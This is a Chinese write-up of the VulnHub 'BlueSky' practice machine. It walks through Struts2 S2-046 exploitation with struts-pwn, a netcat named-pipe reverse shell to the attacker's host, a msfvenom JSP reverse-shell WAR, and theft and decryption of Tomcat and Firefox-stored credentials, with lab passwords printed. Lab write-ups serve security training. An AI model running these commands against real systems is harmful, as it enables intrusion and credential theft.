vulnhub--Bulesky

 

目录

一、信息收集

1. nmap扫描:

2. 御剑目录扫描:

二、漏洞探测

1.Struts2漏洞

三、漏洞利用

1.s2-046

2. 使用nc反弹shell

3. 服务器信息收集

4. war木马反弹shell

5. mozilla firefox信息收集

四、提权

五、总结


靶场信息:

地址:https://www.vulnhub.com/entry/bluesky-1,623/

发布日期:20201210

难度:简单

目标:获取root shell(root@localhost:~#),然后在/root下获取标志

运行:VMware Workstation 16.x Pro(默认的NAT网络模式,VMwareVirtualBox更好地工作)

 

 

一、信息收集

1. nmap扫描:

nmap -A -T4 -v 192.168.0.103/24

 

访问http:192.168.0.104:8080

 

2. 御剑目录扫描:

无结果

 

二、漏洞探测

搜索了apache tomcat版本的漏洞、又扫描目录都没有结果。

1.Struts2漏洞

漏洞路径:http://192.168.0.104:8080/struts2-showcase/index.action

 

使用Struts2版本漏洞测试工具验证漏洞

三、漏洞利用

1.s2-046

这里使用网上的exp脚本进行漏洞利用。搜索一下这个漏洞的利用exp

下载地址: https://github.com/mazen160/struts-pwn

执行命令:

python3 struts-pwn.py --url http://192.168.0.104:8080/struts2-showcase/index.action -c "whoami"

2. 使用nc反弹shell

查看命令nc是否存在:

执行命令:

python3 struts-pwn.py --url http://192.168.0.104:8080/struts2-showcase/index.action -c "nc"

 

查看nc 是否存在 -e 参数:不存在。 nc -e 可打开一个shell

 

使用管道进行重定向,反弹shell

先创建一个管道:

mknod /tmp/p p

本地监听4444端口,等待反弹shell

nc -lvp 4444

反弹shell,将内容传递使用管道文件p作为桥梁,进行数据重定向传递

python3 struts-pwn.py --url "http://192.168.0.104:8080/struts2-showcase/index.action" -c "/bin/sh 0</tmp/p | nc 192.168.0.1011 4444 1>/tmp/p"

使用python3将shell升级为交互式shell(靶机没有python2环境)

python3 -c 'import pty;pty.spawn("/bin/bash")'

得到user.txt

3. 服务器信息收集

因为web中间件是tomcat,tomcat路径为/usr/local/tomcat,我们可以找到tomcat的用户名密码文件/conf/tomcat-users.xml

username:admin

password:6mzf3>gfZ.pN8_Mp

 

登入

 

 

发现下面可以部署war文件

4. war木马反弹shell

msfvenom可以生成WAR格式的木马进行反弹shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.101 LPORT=5555 -f war -o shell.war

 

上传文件

 

监听端口5555,然后访问shell(点击)

 

5. mozilla firefox信息收集

在用户根目录下发现mozilla firefox浏览器文件

不同版本的Firefox保存密码记录的文件名称不同,在网上找到firefox浏览器存储用户名密码的文件是logins.json(版本号大于等于32.0)或者signons.sqlite(版本号大于等于3.5,小于32.0),具体信息参考

使用locate得到它的位置

minhtuan@ubuntu:~/.mozilla$ locate logins.json                                                                     

locate logins.json                                                                                                 

/home/minhtuan/.mozilla/firefox/fvbljmev.default-release/logins.json

 

使用脚本进行解密,脚本来源,支持环境python3,支持key3.db和key4.db的Password解密

 

在靶机中建立http服务,在本地将文件下载出来

python3 -m http.server 8001

wget http://192.168.0.104:8001/logins.json

wget http://192.168.0.104:8001/key4.db

 

 

再次运行exp文件,得到用户信息,这个用户密码就是ssh的用户密码

用户名:minhtuan

密 码:skysayohyeah

四、提权

使用sudo -l进行提权

得到flag:

五、总结

难点在于Struts2漏洞的探测,还有就是需要注意tomcat的信息搜集(用户名密码配置文件)、mozilla firefox的密码记录文件。

关键信息与命令:

  • nmap -A -T4 -v
  • 漏洞路径:http://192.168.0.104:8080/struts2-showcase/index.action
  • exp:python3 struts-pwn.py --url http://192.168.0.104:8080/struts2-showcase/index.action -c "nc"
  • mknod /tmp/p p     #创建一个管道
  • nc -lvp 4444        #设置监听
  • python3 struts-pwn.py --url "http://192.168.0.104:8080/struts2-showcase/index.action" -c "/bin/sh 0</tmp/p | nc 192.168.0.1011 4444 1>/tmp/p"     #反弹shell,将内容传递使用管道文件p作为桥梁,进行数据重定向传递
  • tomcat路径为/usr/local/tomcat,我们可以找到tomcat的用户名密码文件/conf/tomcat-users.xml
  • python3 -c 'import pty;pty.spawn("/bin/bash")'      #使用python3将shell升级为交互式shell(靶机没有python2环境)
  • msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.101 LPORT=5555 -f war -o shell.war         #msfvenom可以生成WAR格式的木马进行反弹shell
  • firefox浏览器存储用户名密码的文件是logins.json
  • minhtuan@ubuntu:~/.mozilla$ locate logins.json      #使用locate得到logins.json位置
  • python3 -m http.server 8001            #在靶机中建立http服务
  • wget http://192.168.0.104:8001/logins.json    #在本地将文件下载出来
  •  firepwd.py 脚本进行解密
  • sudo -l; sudo su; cd /root;

 

转载:https://www.freebuf.com/articles/web/261451.html

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值